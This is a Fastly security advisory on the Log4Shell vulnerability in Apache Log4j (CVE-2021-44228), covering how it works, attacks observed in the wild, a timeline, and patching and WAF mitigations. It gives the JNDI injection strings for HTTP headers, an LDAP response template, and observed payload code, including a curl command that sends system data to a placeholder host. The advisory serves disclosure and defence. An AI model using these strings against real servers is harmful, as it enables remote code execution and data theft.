Log4Shell exploit found in Log4j | Fastly
Fastly Security Research Team, Fastly
Staff Security Researcher, Fastly
Staff Security Researcher
What you need to know:
This vulnerability is actively being exploited in the wild, allows remote code execution, and is trivial to exploit.
There is a patch available and you should patch immediately.
Our next-gen WAF customers can enable a templated rule to protect themselves from this vulnerability.
CVE-2021-44228 is a Remote Code Execution vulnerability in the Apache Log4j library, a Java-based logging tool widely used in applications around the world. This vulnerability allows an attacker who can control log messages to execute arbitrary code loaded from attacker-controlled servers — and we anticipate that most apps using the Log4j library will meet this condition.
What’s the impact:
The impact is wide-scale as Log4j is a very common logging library used across most Java applications, including in business systems to record log information.
There are a few factors that increase the likelihood of widespread exploitation: The vulnerability is an RCE that’s existed for a long time, the library is widely deployed, and even unskilled attackers could trigger it. Basically, ransomware operators who were hoping to catch enterprise teams off guard during the holidays just received the perfect gift from Santa. There is already a cryptominer reportedly deployed that leverages this vuln, emerging less than 24 hours after a POC was released.
Digging deeper:
Developers might generally assume that their logging framework would treat messages only as data and handle basic formatting. However, Log4j 2.0 added lookups, including JNDI lookups. These JNDI lookups were not restricted, leading to the vulnerability.
The Java Naming and Directory Interface (JNDI) is a Java API for a directory service that allows you to interface with LDAP or DNS to look up data and resources. Unfortunately, one of the data types that can be returned is a URI pointing to a Java class — and if you load an untrusted Java class, then you’re unwittingly executing someone else’s code.
Even logging a message like
log.info("this is a security nightmare! {}", userInput) can trigger a remote LDAP call, causing a nefarious Java class to be instantiated.
In production environments, it is common to log HTTP information. A real-world example of this same issue would be:
log.info("Request User-Agent: {}", userAgent);How the attack works:
After the initial insertion of the jndi: string, a URI is followed to access the secondary payload which causes command execution.
The attacker would construct an initial jndi: insertion and include it in the User-Agent HTTP Header:
User-Agent: ${jndi:ldap://<host>:<port>/<path>}Now the vulnerable Log4j instance will make an LDAP query to the included URI. The LDAP server will then respond with directory information containing the secondary payload link:
dn:
javaClassName: <class name>
javaCodeBase: <base URL>
objectClass: javaNamingReference
javaFactory: <file base>The javaFactory and javaCodeBase values are then used to build the object location that contains the Java class representing the final payload. Finally, the Java class is then loaded into memory and executed by the vulnerable Log4j instance, completing the code execution path.
The Fastly Security Research Team has also successfully recreated an arbitrary ability to force DNS queries to be executed by the vulnerable Log4j instance through the use of the string:
${jndi:dns://<dns server>/<TXT record query string>}At this time, it is not clear that DNS provides a path to arbitrary code execution, but it can be used to scan for the vulnerability, or even to tunnel data through DNS when other security controls block communication (like an egress firewall rule).
Impact
While conducting the attack requires tooling unfamiliar to some attackers, the final full code execution path through LDAP is not difficult. We have already seen attackers increasing their knowledge and skills within the first day, and this will only continue.
To hunt for attackers abusing this vulnerability, it has been helpful to use the ldapsearch tool to enumerate final payload locations and look for potential points of malice. We retrieved multiple final payloads referred to by LDAP responses which appear to be tests and include code such as:
String payload = "uname -a | curl -d @- http://<host>";
String[] cmds = {"/bin/bash", "-c", payload};
java.lang.Runtime.getRuntime().exec(cmds);class Exploit {
static {
try { Runtime.getRuntime().exec("touch /tmp/pwned"); } catch(Exception e) {}
}
}
However, as discussed, this clearly shows the ability to execute more malicious code.
What we’ve seen
The jndi: URI trigger must be logged by Log4j to exploit the bug. We have observed attackers inserting the string into a variety of HTTP Headers to perform this, with User-Agent being by far the most common location. But we’ve also observed attackers attempting the offending insertion in every header that can contain arbitrary strings — and even in the URI Path itself — during the first 24 hours post-disclosure. We have even observed the jndi: string in POST bodies, which are logged less often.
All in all, it means attackers are clearly attempting all possible outlets to look for callbacks (i.e., successful control through the attacker-supplied arguments). When attackers are so actively and rapidly investing R&D into exploiting a vuln (which is not true of every 0day that becomes public), it is reasonable to assume that attack campaigns capable of exploiting the vuln in a scalable or automated way will swiftly emerge.
Timeline
On November 24, 2021, Apache was notified about the Log4j remote code execution vulnerability by the Alibaba Cloud Security team. The exploit proof of concept was then posted to Github at 15:32 GMT on December 9, 2021, and we saw the first attempts to trigger callbacks 82 minutes later.
At first, attackers were clearly trying to understand the exploit, poorly crafting their initial attacks. Some of the LDAP URLs were even incorrectly served by an HTTP server. For example, when the attempt was made with {jndi:ldap://example.com:1234/callback}, http://example.com:1234/callback would return data.
As with any widespread bug, scanning increased significantly over the first day, and the attackers clearly learned how to move through and identify large amounts of applications containing the vulnerability by logging the callbacks.
This graph shows the trend line of jndi: callback insertions over the first 24 hours of the incident as seen by Fastly. As you can see, the growth has been significant. Another notable trend is that within 18 hours, the attackers improved their methods and properly-configured LDAP servers began to grow in numbers. This allowed the attacker to redirect the callbacks to secondary payloads stored on HTTP listeners.
While the first day of exploitation was focused on scanning and enumerating, more harmful exploitation is sure to follow.
What you should do:
Ideally, you should gain an understanding of the vulnerability and the risk it poses to your environment to help set the stage for remediation. However, we recognize that figuring out where this vulnerability is present is a massive outstanding question. It may be safer to assume that this issue is present in your applications, and therefore patching is the strongest action as it removes the risk from code execution.
Another option is to check if your version of Log4j supports executing the JVM with JAVA_OPTS=-Dlog4j2.formatMsgNoLookups=true to disable the lookup functionality to the remote server. This should apply to versions 2.10.0 through 2.15.0. For releases from 2.0-beta9 to 2.10.0, the mitigation is to remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.
Our next-gen WAF (the Signal Sciences WAF) can detect this vulnerability. If you are a customer with this product, you can follow the steps below to enable a templated rule to protect yourself from exploitation of CVE-2021-44228.
Navigate to the Templated Rules and locate the CVE-2021-44228:
Click configure and enable Block requests from an IP immediately if the CVE-2021-44228 signal is observed.
We can deploy VCL-based mitigations to this threat for our Legacy WAF customers. If you would like assistance in applying this configuration, please contact our CSOC at securitysupport@fastly.com.
